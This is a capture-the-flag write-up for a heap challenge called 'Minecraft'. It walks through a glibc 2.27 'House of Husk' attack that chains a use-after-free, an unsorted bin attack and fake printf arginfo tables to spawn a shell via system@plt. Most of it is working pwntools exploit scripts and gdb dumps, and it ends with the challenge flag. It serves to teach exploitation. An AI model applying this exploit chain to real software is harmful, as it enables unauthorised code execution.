# Minecraft
This is a heap challenge with a new technique called `House of Husk`. You can read this technique [here](https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507) or [here](https://maxIlldulin.com/BlogPost?post=3107454976).
At first reading the decompiler, I notice there is a **Format String** bug when I `(l)eak the end poem`. There is also a **Use-After-Free** bug when I `(b)reak a block` and keep it in inventory and then `(r)eplace a block`. Other options are secured, no of-by-one or any bug so I are sure I will use technique `House of Husk` for this challenge.
Trying to write a script as first link above, I can get arbitrary execution now:
```python
#!/usr/bin/python3
from pwn import *
import subprocess
def sla(msg, content):
p.sendlineafter(msg, content)
def sa(msg, content):
p.sendafter(msg, content)
def PlaceBlock(idx, len, content):
sla(b'poem\n', b'p')
sla(b'idx: \n', f'{idx}'.encode())
sla(b'len: \n', str(len).encode())
sa(b'block: \n', content)
def ReplaceBlock(idx, content):
sla(b'poem\n', b'r')
sla(b'idx: \n', f'{idx}'.encode())
sa(b'block: \n', content)
def BreakBlock(idx, keep):
sla(b'poem\n', b'b')
sla(b'idx: \n', f'{idx}'.encode())
sla(b'inventory? \n', keep)
def LeakPoem(idx):
sla(b'poem\n', b'l')
sla(b'idx: \n', f'{idx}'.encode())
def offset2size(offset):
return offset * 2 - 0x10
elf = ELF('./vuln_patched')
libc = ELF('./libc.so.6')
context.binary = exe
context.log_level = 'debug'
PRINTF_FUNCTABLE = 0x3f0738
PRINTF_ARGINFO = 0x3ec870
GLOBAL_MAX_FAST = 0x3ed940
MAIN_ARENA = 0x3ebc40
p = process(elf.path)
PlaceBlock(0, 0x500, b'0'*8) # Use After Free
PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8)
# prepare fake printf arginfo table
payload = flat(
b'\x00'*(0x58-2)*8,
0xdeadbeef,
)
PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload)
PlaceBlock(3, 0x500, b'%X\x00')
# unsorted bin attack
BreakBlock(0, b'y')
ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10))
PlaceBlock(0, 0x500, b'0'*8)
# overwrite __printf_arginfo_table and __printf_function_table
BreakBlock(1, b'n')
BreakBlock(2, b'n')
LeakPoem(3)
p.interactive()
```
And jumped into `0xdeadbeef` when run without ASLR:
```gdb
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xdeadbeef
$rbx : 0x007fffffffa7d0 → 0x00000000ffffffff
$rcx : 0x007fffffffa810 → 0x00000000ffffffff
$rdx : 0x007fffffffa804 → 0x0000000000000000
$rsp : 0x007fffffffa698 → 0x00155554fb6216 → <__parse_one_specmb+1606> movsxd rcx, eax
$rbp : 0x0
$rsi : 0x1
$rdi : 0x007fffffffa7d0 → 0x00000000ffffffff
$rip : 0xdeadbeef
$r8 : 0x007fffffffb198 → 0x0000003000000008
$r9 : 0x0
$r10 : 0x001555550d7bc0 → 0x0002000200020002
$r11 : 0x00000000402099 → add BYTE PTR [rbp+riz*2+0x6e], ch
$r12 : 0x0
$r13 : 0x1
$r14 : 0x007fffffffa7d0 → 0x00000000ffffffff
$r15 : 0x000000004105c0 → 0x00000000005825 ("%X"?)
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffa698│+0x0000: 0x00155554fb6216 → <__parse_one_specmb+1606> movsxd rcx, eax ← $rsp
0x007fffffffa6a0│+0x0008: 0x0000000000000000
0x007fffffffa6a8│+0x0010: 0x000000004105c2 → 0x0000000000000000
0x007fffffffa6b0│+0x0018: 0x0000000000000000
0x007fffffffa6b8│+0x0020: 0x0000000000000000
0x007fffffffa6c0│+0x0028: 0x007fffffffb030 → 0x007fffffffb5e0 → 0x007fffffffdcd0 → 0x007fffffffdde0 → 0x00000000401740 → <__libc_csu_init+0> endbr64
0x007fffffffa6c8│+0x0030: 0x000000000000000e
0x007fffffffa6d0│+0x0038: 0x0000000000000001
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln_patched", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤
```
Looking at rdi, it seems like I can control that. Debug printf a bit and I can see it jump to `__parse_one_specmb` before it execute `0xdeadbeef`. Viewing source [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf-parsemb.c#L61)
```c
if (
__builtin_expect (__printf_function_table == NULL, 1) ||
spec->info.spec > UCHAR_MAX ||
__printf_arginfo_table[spec->info.spec] == NULL ||
(int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0)
{
...
}
```
The first 3 checks are false so it execute the function inside `__printf_arginfo_table[spec->info.spec]`, which I faked to `0xdeadbeef`. The first argument is `&spec->info` which is our rdi and `info` is also a struct which you can find [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf-parse.h#L26) (structure of `spec`) and [here](https://elixir.bootlin.com/glibc/glibc-2.27/source/stdio-common/printf.h#L34) (structore of `info`). So I need to control `&spec->info.prec` to have a string `sh`.
So just replace the format string above into `%d` to modify `&spec->info.prec`:
```python
p = process(exe.path)
PlaceBlock(0, 0x500, b'0'*8) # Use After Free
PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8)
# prepare fake printf arginfo table
payload = flat(
b'\x00'*(ord('d')-2)*8, # <-- Change here
0xdeadbeef,
)
PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload)
PlaceBlock(3, 0x500, b'%.26739d\x00') # <-- Change here
# unsorted bin attack
BreakBlock(0, b'y')
ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10))
PlaceBlock(0, 0x500, b'0'*8)
# overwrite __printf_arginfo_table and __printf_function_table
BreakBlock(1, b'n')
BreakBlock(2, b'n')
LeakPoem(3)
p.interactive()
```
Debug with gdb and I get rdi contain string `sh`:
```gdb
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xdeadbeef
$rbx : 0x007fffffffa7d0 → 0x00000000006873 ("sh"?)
$rcx : 0x007fffffffa810 → 0x00000000ffffffff
$rdx : 0x007fffffffa804 → 0x0000000000000000
$rsp : 0x007fffffffa698 → 0x00155554fb6216 → <__parse_one_specmb+1606> movsxd rcx, eax
$rbp : 0x0
$rsi : 0x1
$rdi : 0x007fffffffa7d0 → 0x00000000006873 ("sh"?)
$rip : 0xdeadbeef
$r8 : 0x7ffffff6
$r9 : 0x7fffffff
$r10 : 0x001555550d7bc0 → 0x0002000200020002
$r11 : 0x00000000402099 → add BYTE PTR [rbp+riz*2+0x6e], ch
$r12 : 0x0
$r13 : 0x1
$r14 : 0x007fffffffa7d0 → 0x00000000006873 ("sh"?)
$r15 : 0x000000004105c0 → "%.26739d"
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffa698│+0x0000: 0x00155554fb6216 → <__parse_one_specmb+1606> movsxd rcx, eax ← $rsp
0x007fffffffa6a0│+0x0008: 0x0000000000000000
0x007fffffffa6a8│+0x0010: 0x000000004105c8 → 0x0000000000000000
0x007fffffffa6b0│+0x0018: 0x0000000000000000
0x007fffffffa6b8│+0x0020: 0x0000000000000000
0x007fffffffa6c0│+0x0028: 0x007fffffffb030 → 0x007fffffffb5e0 → 0x007fffffffdcd0 → 0x007fffffffdde0 → 0x00000000401740 → <__libc_csu_init+0> endbr64
0x007fffffffa6c8│+0x0030: 0x000000000000000e
0x007fffffffa6d0│+0x0038: 0x0000000000000001
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln_patched", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤
```
Because I don't have address of libc so reusing address of binary is the best choice now, also there is function `system@plt`, I just need to change from `0xdeadbeef` to `system@plt` to get shell now:
```python
p = process(exe.path)
PlaceBlock(0, 0x500, b'0'*8) # Use After Free
PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8)
# prepare fake printf arginfo table
payload = flat(
b'\x00'*(ord('d')-2)*8,
exe.plt['system'], # <-- Change here
)
PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload)
PlaceBlock(3, 0x500, b'%.26739d\x00')
# unsorted bin attack
BreakBlock(0, b'y')
ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10))
PlaceBlock(0, 0x500, b'0'*8)
# overwrite __printf_arginfo_table and __printf_function_table
BreakBlock(1, b'n')
BreakBlock(2, b'n')
LeakPoem(3)
p.interactive()
```
Executing script without aslr, `python3 solve.py NOASRL`, I can get shell now. The other thing is to bruteforce address of `global_max_fast`. Full script for this:
```python
while True:
p = process(exe.path)
PlaceBlock(0, 0x500, b'0'*8) # Use After Free
PlaceBlock(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA), b'1'*8)
# prepare fake printf arginfo table
payload = flat(
b'\x00'*(ord('d')-2)*8,
exe.plt['system'],
)
PlaceBlock(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA), payload)
PlaceBlock(3, 0x500, b'%.26739d\x00')
# unsorted bin attack
BreakBlock(0, b'y')
ReplaceBlock(0, b'A'*8 + p16(0x6940 - 0x10))
try:
PlaceBlock(0, 0x500, b'0'*8)
# overwrite __printf_arginfo_table and __printf_function_table
BreakBlock(1, b'n')
BreakBlock(2, b'n')
except:
p.close()
continue
LeakPoem(3)
p.interactive()
```
Flag: `ictf{pr1ntf_is_p0werful_86b21f38}`